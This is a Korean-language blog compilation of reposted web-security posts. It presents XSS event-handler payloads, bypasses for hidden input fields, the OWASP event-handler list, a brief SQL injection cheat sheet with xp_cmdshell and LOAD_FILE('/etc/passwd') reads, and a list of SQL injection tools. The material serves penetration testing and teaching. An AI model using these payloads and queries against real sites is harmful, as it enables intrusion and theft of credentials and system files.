반응형

출처: http://www.hahwul.com/2015/03/xss-html-event-handler-xsscross-site.html


XSS 테스트 시 많이 사용하는 방법인 이벤트 핸들러를 사용하는 방법입니다.
주로 < > 에 대한 필터링이 적용되어 있거나 싱글쿼터, 더블쿼터에 대한 필터링이 없을 경우 이벤트 핸들러를 이용하여 XSS 구문 삽입을 시도할 수 있습니다.

예를 들어 아래와 같이  Request에 대해 Response가 도착한다면 이벤트 핸들러를 이용한 공격방법을 구상해볼 수 있습니다.

Request 
/test.html?search=test&no=aaa<br>111"11  


Response
<input type="image" value="aaa&lt;br&gt;111"11" src="123.jpg">


Attack Code
/test.html?search=test&no=" onload=alert(45)


onload를 이용하여 해당 구간(이미지)가 정상 로드 되었을 때 값이 실행되며 스크립트가 실행됩니다. 이미지 로드가 실패하는 구간이라면 onerror를 통해서도 가능하며, white list 기반 필터링이 아니라면 시도해 볼 수 있는 이벤트 핸들러는 매우 많습니다. (#1 참조)

테스트를 하다보면 삽입구간에서 hidden type 을 만나게 되는 경우도 많습니다.
< > 가 필터링되지 않는다면 "><script></script> 형태로 구문을 사용하여서 XSS에 성공할 수 있지만 그렇지 않은 경우 이벤트 핸들러로도 제어가 불가능한 부분이 많습니다.

<input value="" type="hidden">

위 같은 경우 hidden 속성으로 인해 사용 불가능한 속성이 다수 존재합니다.
다만 재미있는 경우는 type 속성이 삽입되는 구간보다 뒤에 있다면 type을 변조하여 쉽게 제어가 가능합니다.

Attack Request
/test.html?search=test&no=" type="text" onfocus=alert(45) autofocus test="


Response
<input value="" type="text" onfocus=alert(45) autofocus test="" type="hidden">


Reflected XSS 뿐만 아니라 Stored XSS에서도 이벤트 핸들러를 이용하는 경우도 많이 존재합니다.
새로운 공격 기술이나 취약점은 아니지만 다른 누군가에게는 도움이 될 수 있을거라 생각하여 작성해보았습니다. 

짧은 글이지만 재미있게 보셨다면 좋겠네요.
감사합니다 :)



#1 이벤트 핸들러 리스트(OWASP XSS Filter Evasion Cheat Sheet 내 일부)

  1. FSCommand() (attacker can use this when executed from within an embedded Flash object)
  2. onAbort() (when user aborts the loading of an image)
  3. onActivate() (when object is set as the active element)
  4. onAfterPrint() (activates after user prints or previews print job)
  5. onAfterUpdate() (activates on data object after updating data in the source object)
  6. onBeforeActivate() (fires before the object is set as the active element)
  7. onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with the execCommand("Copy")function)
  8. onBeforeCut() (attacker executes the attack string right before a selection is cut)
  9. onBeforeDeactivate() (fires right after the activeElement is changed from the current object)
  10. onBeforeEditFocus() (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)
  11. onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand("Paste") function)
  12. onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand("Print") function).
  13. onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)
  14. onBeforeUpdate() (activates on data object before updating data in the source object)
  15. onBegin() (the onbegin event fires immediately when the element's timeline begins)
  16. onBlur() (in the case where another popup is loaded and window looses focus)
  17. onBounce() (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window)
  18. onCellChange() (fires when data changes in the data provider)
  19. onChange() (select, text, or TEXTAREA field loses focus and its value has been modified)
  20. onClick() (someone clicks on a form)
  21. onContextMenu() (user would need to right click on attack area)
  22. onControlSelect() (fires when the user is about to make a control selection of the object)
  23. onCopy() (user needs to copy something or it can be exploited using the execCommand("Copy") command)
  24. onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command)
  25. onDataAvailable() (user would need to change data in an element, or attacker could perform the same function)
  26. onDataSetChanged() (fires when the data set exposed by a data source object changes)
  27. onDataSetComplete() (fires to indicate that all data is available from the data source object)
  28. onDblClick() (user double-clicks a form element or a link)
  29. onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document)
  30. onDrag() (requires that the user drags an object)
  31. onDragEnd() (requires that the user drags an object)
  32. onDragLeave() (requires that the user drags an object off a valid location)
  33. onDragEnter() (requires that the user drags an object into a valid location)
  34. onDragOver() (requires that the user drags an object into a valid location)
  35. onDragDrop() (user drops an object (e.g. file) onto the browser window)
  36. onDragStart() (occurs when user starts drag operation)
  37. onDrop() (user drops an object (e.g. file) onto the browser window)
  38. onEnd() (the onEnd event fires when the timeline ends.
  39. onError() (loading of a document or image causes an error)
  40. onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object)
  41. onFilterChange() (fires when a visual filter completes state change)
  42. onFinish() (attacker can create the exploit when marquee is finished looping)
  43. onFocus() (attacker executes the attack string when the window gets focus)
  44. onFocusIn() (attacker executes the attack string when window gets focus)
  45. onFocusOut() (attacker executes the attack string when window looses focus)
  46. onHashChange() (fires when the fragment identifier part of the document's current address changed)
  47. onHelp() (attacker executes the attack string when users hits F1 while the window is in focus)
  48. onInput() (the text content of an element is changed through the user interface)
  49. onKeyDown() (user depresses a key)
  50. onKeyPress() (user presses or holds down a key)
  51. onKeyUp() (user releases a key)
  52. onLayoutComplete() (user would have to print or print preview)
  53. onLoad() (attacker executes the attack string after the window loads)
  54. onLoseCapture() (can be exploited by the releaseCapture() method)
  55. onMediaComplete() (When a streaming media file is used, this event could fire before the file starts playing)
  56. onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem)
  57. onMessage() (fire when the document received a message)
  58. onMouseDown() (the attacker would need to get the user to click on an image)
  59. onMouseEnter() (cursor moves over an object or area)
  60. onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again)
  61. onMouseMove() (the attacker would need to get the user to mouse over an image or table)
  62. onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again)
  63. onMouseOver() (cursor moves over an object or area)
  64. onMouseUp() (the attacker would need to get the user to click on an image)
  65. onMouseWheel() (the attacker would need to get the user to use their mouse wheel)
  66. onMove() (user or attacker would move the page)
  67. onMoveEnd() (user or attacker would move the page)
  68. onMoveStart() (user or attacker would move the page)
  69. onOffline() (occurs if the browser is working in online mode and it starts to work offline)
  70. onOnline() (occurs if the browser is working in offline mode and it starts to work online)
  71. onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline)
  72. onPaste() (user would need to paste or attacker could use the execCommand("Paste") function)
  73. onPause() (the onpause event fires on every element that is active when the timeline pauses, including the body element)
  74. onPopState() (fires when user navigated the session history)
  75. onProgress() (attacker would use this as a flash movie was loading)
  76. onPropertyChange() (user or attacker would need to change an element property)
  77. onReadyStateChange() (user or attacker would need to change an element property)
  78. onRedo() (user went forward in undo transaction history)
  79. onRepeat() (the event fires once for each repetition of the timeline, excluding the first full cycle)
  80. onReset() (user or attacker resets a form)
  81. onResize() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
  82. onResizeEnd() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
  83. onResizeStart() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
  84. onResume() (the onresume event fires on every element that becomes active when the timeline resumes, including the body element)
  85. onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
  86. onRowsEnter() (user or attacker would need to change a row in a data source)
  87. onRowExit() (user or attacker would need to change a row in a data source)
  88. onRowDelete() (user or attacker would need to delete a row in a data source)
  89. onRowInserted() (user or attacker would need to insert a row in a data source)
  90. onScroll() (user would need to scroll, or attacker could use the scrollBy() function)
  91. onSeek() (the onreverse event fires when the timeline is set to play in any direction other than forward)
  92. onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
  93. onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
  94. onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
  95. onStart() (fires at the beginning of each marquee loop)
  96. onStop() (user would need to press the stop button or leave the webpage)
  97. onStorage() (storage area changed)
  98. onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire)
  99. onSubmit() (requires attacker or user submits a form)
  100. onTimeError() (user or attacker sets a time property, such as dur, to an invalid value)
  101. onTrackChange() (user or attacker changes track in a playList)
  102. onUndo() (user went backward in undo transaction history)
  103. onUnload() (as the user clicks any link or presses the back button or attacker forces a click)
  104. onURLFlip() (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
  105. seekSegmentTime() (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)

(OWASP)

반응형
반응형

출처:http://www.hahwul.com/2016/06/web-hacking-hiddenxss-xss-in-hidden.html


웹 취약점 진단에서 가장 만만하면서 가장 어려울때도 있는 XSS에 대한 이야기를 할까합니다. 그 중에서도 오늘은 hidden XSS. 즉 hidden 속성을 가진 태그에 대한 xss입니다.

앞서 간단하게 hidden 속성, 왜 hidden이 우회하기 힘든지 설명하고 각각 우회 방법에 대해 작성하였습니다.
읽으시기 전에 편한 이해를 위하여 코드 부분에 대한 설명부터 하겠습니다. (아래 양식으로 Case 별로 작성하였습니다.)


제약조건: # 우회하기 위해 필요한 조건
query:   # 공격(Attack) Query
output   # 결과
원문:    # 사용자 입력 구간이 들어가는 곳(Default code)
         # [USER INJECT] -> 공격 포인트(Attack point)
공격:    # qeury 입력으로 발생한 결과(공격으로 인한 output)

hidden 속성이란?

웹은 각각의 태그와 속성으로 이루어져서 사용자에게 알아보기 좋은 웹 UI를 제공해줍니다.
브라우저가 HTML을 해석하는 과정에서 hidden 속성을 만나게 되면 페이지에 노출하지 않게 됩니다.

다만 이 노출은 display:none과 약간 다른 성격을 가지는데요. display:none은 페이지에 보이지 않게하지만 hidden 속성은 존재 자체를 없애버립니다 =_=

그래서.. hidden이 들어간 태그에 대해서는 onmouseover, onclick, onfocus 등의 속성을 이용한 공격이 불가하게 되지요.

Hidden XSS 1 - 태그 탈출하기(Escape input tag)

가장 오랜된 방법이며 대체로 불가능한 경우가 많은 방법입니다.
단순히 hiddend을 나가기 위한 방법만이 아닌 XSS를 하기 위해서 많이들 사용하는 방법이며
quote('), double qoute(") 를 통해 삽입 구간이후로 나가 > < 등 특수문자로 tag 밖으로 나갑니다.


제약조건: 특수문자 우회(" ' < >)
query: "><img src="z" onerror="alert(45)">
output
원문: <input type="hidden" name="xsstest" value="[USER INJECT]">
공격: <input type="hidden" name="xsstest" value=""><img src="z" onerror="alert(45)">">




이 방법은 각 속성을 나갈 수 있는 더블퀘테이션, 쿼테이션이 필요하며 < >  와 같이 태그 문자열도 들어가서
많은 취약 조건이 필요합니다.

Hidden XSS 2 - type 속성 변조하기(Tampering type attribute)

이 방법은 사용자 입력이 type 속성보다 앞이 있을 때 가능합니다.
원래 선언된 type보다 먼저 type을 선언하여 hidden을 풀어서 xss를 수행합니다.


제약조건: user input이 type 속성보다 앞에 선언되어야 함 / 특수문자 우회(" or ')
query: " type="text" onfocus="alert(45)" autofocus a="
output
원문: <input name="xsstest" value="[USER INJECT]" type="hidden">
공격: <input name="xsstest" value="" type="text" onfocus="alert(45)" autofocus a="" type="hidden">

개발자의 간단한 실수(왜 type을 뒤에 썼을지..)로 인해서 우회가 가능한 case 이지요.



Hidden XSS 3 - 스타일 속성으로 태그 끌어내기(sytle="display:block")

세번째 방법은 구버전의 IE(6,7,8)과 Firefox 구버전에서 가능한 방법입니다.
아직 아주 구버전의 소프트웨어를 사용하는 사용자가 존재하기 때문에 같이 언급하면 좋을 것 같아 작성하였습니다.


제약조건: 패치 이전 브라우저(IE6/7/8, firefox 구버전) , 특수문자 우회(' or ")
query: " onmouseover="alert(45)" style="display:block;width:100%;height:1000px;" a="
output
원문: <input type="hidden" name="xsstest" value="[USER INJECT]">
공격: <input type="hidden" name="xsstest" value="" onmouseover="alert(45)" style="display:block;width:100%;height:1000px;" a="">

예전에 가능했던 방법이며 현재는 브라우저사에서 sytle보다 hidden을 우선으로 주었기 때문에 불가능합니다.

Hidden XSS 4 - accesskey + onclick을 통한 우회

작년 11월(2015)에 PortSwigger(burp 벤더)에서 블로그로 포스팅한 방법입니다.
바로 accesskey 속성을 이용한 우회방법이죠.


제약조건: 사용자가 XSS를 트리거해야함. (key input)
query: hwul" accesskey="X" onclick="alert(45)" a="
output
원문: <input type="hidden" name="xsstest" value="[USER INJECT]">
공격: <input type="hidden" name="xsstest" value="hwul" accesskey="X" onclick="alert(45)" a=" ">




이 방법은 키 입력을 이용한 XSS 방법입니다. 저도 생각도 못한 속성으로 풀어나갔네요.
물론 직접 영향력을 만들기는 약간 어렵습니다. (사용자가 키 입력으로 트리거 해야하기 때문에)

Vulnerability Trigger
Firefox - linux/windows : ALT+SHIFT+X
OS X - CTRL+ALT+X

사용자에게 입력을 유도할 수 있다면 좋은 우회방법이겠지요.

정리

앞에 3가지 방법은 hidden을 우회하기 위해서 많이 찾아보셨을 것 같습니다.
4번은 트리거 조건은 약간 있지만 우회가 가능하고 이것에 대해서 따로 패치도 없었기 때문에
진단/모의해킹 시 나름 유용하게 사용될 수 있을 것 같네요.

항상 가까운곳에 해답이 있다고 생각합니다. 찾다보면 자기만의 재미있는 우회 방법이 생겨나지요 :)

Reference

http://blog.portswigger.net/2015/11/xss-in-hidden-input-fields.html

반응형
반응형

출처: http://www.hahwul.com/p/sql-injection-cheat-sheet.html


DB 종류 별 주석(Line Comments)

MYSQL
단일주석: #
다중주석: /**/

MSSQL, ORACLE, POSTGRESQL
단일주석: --
다중주석: /**/

 /*!   */   : MSSQL 한정(높은버전)

MariaDB
단일주석: #
단일주석: --
다중주석: /**/

CUBRID
단일주석: --
단일주석: //
다중주석: /**/

; Stacking Queires

Example 
SELECT * FROM TEST [] WHERE id="1"
SELECT * FROM TEST [;SQL --] WHERE id="1"

시스템 명령 실행

xp_cmdshell { 'command_string' } [ , no_output ]

Union Injection


MYSQL - Command

SELECT @@version
SELECT user();
SELECT system_user();
SELECT user, password FROM mysql.user;
SELECT @@datadir;
SELECT @@hostname;

Load file

UNION ALL SELECT LOAD_FILE('/etc/passwd') --
SELECT LOAD_FILE(0x633A5C626F6F742E696E69)


반응형
반응형

http://egnala.egloos.com/1214638

하나씩 해보는 것도... 좋음직해서... 긁어왔습니다.
^^
------------
SecurityHacks
에서, 무료
로 제공되는 SQL 인젝션 스캐너 15 제품의 요약 정보와 다운로드를 제공하는 글이 있어 이를 정리해서 올려 드립니다.

아시다시피, SQL Injection 공격은 웹 페이지에서 데이터베이스를 액세스하는 방식을 통해 공격하는 것으로 대부분의 관리자들은 이러한 위협에 대비하여 코딩을 해야 하며, 웹 방화벽 장비나 웹 나이트와 같은 무료 보안 프로그램을 통해 보안을 향상시키는 방향으로 진행되는 것으로 알고 있습니다.

아래의 제품들은 여러분이 운영하는 사이트가 SQL Injection 공격에 대한 취약점이 있는지 자동으로 검사하여 이를 알려 주는 프로그램입니다. 참고로, 아래의 정보는 웹 애플리케이션 개발자 뿐만 아니라 보안 전문가에게도 유익한 프로그램입니다.

1. SQLIer - 취약점이 있는 URL을 검사하고 사용자의 개입없이 SQL Injection 취약점을 익스플로잇하기 위해 필요한 정보를 점검하려고 시도합니다. 다운로드
사용자 삽입 이미지

2. SQLbftools - 블라인드 SQL Injection 공격을 사용하여 MySQL의 정보를 가져오는 시도를 하는 도구의 모음입니다. 다운로드

3. SQL Injection Brute-forcer - SQL Injection 공격 취약점을 찾고 이를 이용하여 공격하는 자동화 도구입니다. 사용자가 작업하는 내용을 볼 수 있으며, 블라인드 SQL 인젝션을 이용합니다. 다운로드

4. SQL Brute - 블라인드 SQL 인젝션 취약점을 사용하여 데이터베이스에서 데이터를 추출해내는 무작위 도구입니다. MS SQL 서버의 시간, 오류 기반으로 익스플로잇을 수행합니다. 오라클의 경우 오류를 기반으로 합니다. 이 프로그램은 Python으로 작성되었으며 멀티 스레드로 동작하며 표준 라이브러리를 사용합니다. 다운로드

5. BobCat - SQL Injection 취약점의 잇점을 이용하는 감사 도구입니다. 사용자가 사용하는 애플리케이션이 액세스하는 테이블에서 데이터를 가져올 수 있습니다. 다운로드

6. SQLMap - 블라인드 SQL Injection을 자동으로 수행하는 도구로 phthon으로 개발되었다. 다운로드

7. Absinthe - GUI 기반의 도구로 블라인드 SQL Injection 취약점에 이용하여 데이터베이스의 스키마와 목록을 자동화 과정으로 다운로드합니다. 다운로드

8. SQL Injection Pen-testing Tool - 웹 애플리케이션에서의 취약점을 찾아 데이터베이스를 점검하도록 설계된 GUI 기반의 도구. 다운로드

9. SQID - SQL Injection Digger. 웹 사이트의 통상적인 오류와 SQL Injection을 찾는 명령행 기반의 도구. 웹 페이지에서 SQL Injection 이 가능한 부분을 찾아내어 취약점을 입력하는 폼을 테스트한다. 다운로드

10. Blind SQL Injection Perl Tool - bsqlbf는 SQL Injection에 취햑한 웹 사이트에서 정보를 가져오도록 작성된 펄 스크립트. 다운로드

11. SQL Power Injection Injector - 이 프로그램은 웹페이지에서 SQL 명령어를 삽입하는 테스트를 수행합니다. 멀티 스레드 방식으로 블라인드 SQL Injection 공격을 자동화하여 실행합니다. 다운로드 

12. FJ-Injector Framework - 웹 애플리케이션에 SQL Injection 취약점이 있는지 검사하기 위해 디자인된 오픈 소스 무료 프로그램입니다. HTTP 요청을 가로쳐서 변경하기 위한 프록시 기능도 제공합니다. SQL Injection 익스플로잇을 자동화하여 수행합니다. 다운로드

13. SQLNinja - MS SQL 서버를 백 엔드 데이터베이스로 사용하는 웹 애플리케이션의 SQL Injection 취약점을 익스플로잇하는 도구입니다. 다운로드

14. Automatic SQL Injector -  SQLNinja와 유사한 도구로, 오류 코드가 반환되는 SQL Injection 취약점을 자동으로 찾아 줍니다. 다운로드

15. NGSS SQL Injector - 데이터베이스에 저장된 데이터를 액세스하기 위한 SQL Injection취약점을 이용하여 익스플로잇합니다. Access, DB2, Informix, MSSQL, MySQL, Oracle, Sysbase 등 다양한 데이터베이스를 지원합니다. 다운로드

감사합니다.


반응형

+ Recent posts